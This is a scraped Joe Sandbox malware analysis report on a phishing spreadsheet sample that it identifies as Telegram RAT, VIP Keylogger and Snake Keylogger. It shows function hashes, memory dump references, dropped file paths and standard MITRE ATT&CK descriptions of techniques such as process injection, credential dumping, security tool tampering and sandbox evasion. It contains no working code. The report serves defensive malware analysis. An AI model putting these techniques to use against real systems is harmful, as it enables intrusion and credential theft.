Instruction Fuzzy Hash: 1AB012A1034414C6C0300328C4015F830C04F127017680462F501C4492D25084B4F745

Analysis Process: bKVNuVuE.exePID: 3560, Parent PID: 3712COMMON

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	73
Total number of Limit Nodes:	3

Executed Functions

Function 00627278 Relevance: 5.8, Strings: 4, Instructions: 784
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Gs, xrefs: 006276C2
Tep, xrefs: 00627842
Gs, xrefs: 00627349
Tep, xrefs: 0062781B

Memory Dump Source

Source File: 0000001D.00000002.625001541.0000000000620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_620000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: Tep$Tep$Gs$Gs
API String ID: 0-307556097
Opcode ID: c301835a1ad120f4c10a1161ffa397e26ec2e5be3a0074c8fa4dfec1724e8b58
Instruction ID: e2c701b8d9b214652f4a2e8f05036da1c9ff088cd9fe2bd72f7e6526ca61f2ee
Opcode Fuzzy Hash: c301835a1ad120f4c10a1161ffa397e26ec2e5be3a0074c8fa4dfec1724e8b58
Instruction Fuzzy Hash: 4D82C578A01229CFDB65EF24D894BADB7B2FB89304F2445E9D809A7354CB359E81DF40

Function 00627276 Relevance: 5.8, Strings: 4, Instructions: 781
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Gs, xrefs: 006276C2
Tep, xrefs: 00627842
Gs, xrefs: 00627349
Tep, xrefs: 0062781B

Memory Dump Source

Source File: 0000001D.00000002.625001541.0000000000620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_620000_bKVNuVuE.jbxd

Similarity

API ID:
String ID: Tep$Tep$Gs$Gs
API String ID: 0-307556097
Opcode ID: 722e73996ba10e093bd2f349f6d3632798c72c3cb564aa1757752cbfd8313af6
Instruction ID: c7392d69ad54af3f0811694e392693263d377cb0757fe767dfb04a85cce6aba1
Opcode Fuzzy Hash: 722e73996ba10e093bd2f349f6d3632798c72c3cb564aa1757752cbfd8313af6
Instruction Fuzzy Hash: CE82B578A01229CFDB65EF24D894BADB7B2FB89304F2445E9D809A7354CB359E81DF40

Function 00622E78 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.625001541.0000000000620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_620000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a196d307f30c1ac5903d4d16158384401501016f56175b67b0dfe60c693af59
Instruction ID: 11686aa457fad555755653c0f8944323eabe63a51afb6095a256678814ae085c
Opcode Fuzzy Hash: 8a196d307f30c1ac5903d4d16158384401501016f56175b67b0dfe60c693af59
Instruction Fuzzy Hash: 40A1A374E016298FEB68CF6AD944BDDBBF2AF89300F14C0AAD40CA7250DB345A85CF11

Function 0050B2B0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.624763290.0000000000500000.00000040.00000800.00020000.00000000.sdmp, Offset: 00500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_500000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4c3e3eddd3e4693e412768d8b9a71880cc31dd3b2bb27c61b23921048940bf4
Instruction ID: a654ed8ce673194888118033aca8afb2c7c2f07b19a2a7dbc4bf4004862c00ee
Opcode Fuzzy Hash: a4c3e3eddd3e4693e412768d8b9a71880cc31dd3b2bb27c61b23921048940bf4
Instruction Fuzzy Hash: 8E71C274E00219CFEB18DFA9C991AADBBB2BF89300F248529D415BB359DB355D42CF50

Function 00509960 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.624763290.0000000000500000.00000040.00000800.00020000.00000000.sdmp, Offset: 00500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_500000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b35cfd08847132979151df4ccfacbd445b0f220692c7bd704da483da75c99c07
Instruction ID: 78c6acc30760cda5d422c63244178a172f0a0c23efa63c4f93184cfbf110f413
Opcode Fuzzy Hash: b35cfd08847132979151df4ccfacbd445b0f220692c7bd704da483da75c99c07
Instruction Fuzzy Hash: 6A71E174E04219CFDB18DFA9D981AADBBB2BF88300F248529D404AB399DB359D42CF50

Function 00622E68 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.625001541.0000000000620000.00000040.00000800.00020000.00000000.sdmp, Offset: 00620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_620000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3dae1fe40b2ffda46015c748d37b96681176f9e83bbf8eaed5a3aa16fab4ba7
Instruction ID: 13ca9aa3e1bb1f306d40d440eedf487d7282f62cd0dcfc1261d53a54f8b3b583
Opcode Fuzzy Hash: e3dae1fe40b2ffda46015c748d37b96681176f9e83bbf8eaed5a3aa16fab4ba7
Instruction Fuzzy Hash: 2F4167B1E016588BEB58CF6BD95479AFAF3AFC9300F14C1AAD40CA6254DB7409858F51

Function 00509950 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.624763290.0000000000500000.00000040.00000800.00020000.00000000.sdmp, Offset: 00500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_500000_bKVNuVuE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ce6a7a9d8b30da34601dfb0098b4017242d31edff9a32f49e6059585d909faf
Instruction ID: 8e4f598cdf8dde9c89164260d0e209ba545f908a2480c9a5ba2a78e68a8bdbd2
Opcode Fuzzy Hash: 0ce6a7a9d8b30da34601dfb0098b4017242d31edff9a32f49e6059585d909faf
Instruction Fuzzy Hash: D431E174E042498BDB08DFAAD5546EEFBF2BF89300F24D52AD418BB259DB345942CF50

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Cache\data_1

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old~RF6a95ab.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Visited Links

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt19.lst (copy)

Windows Analysis Report
SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre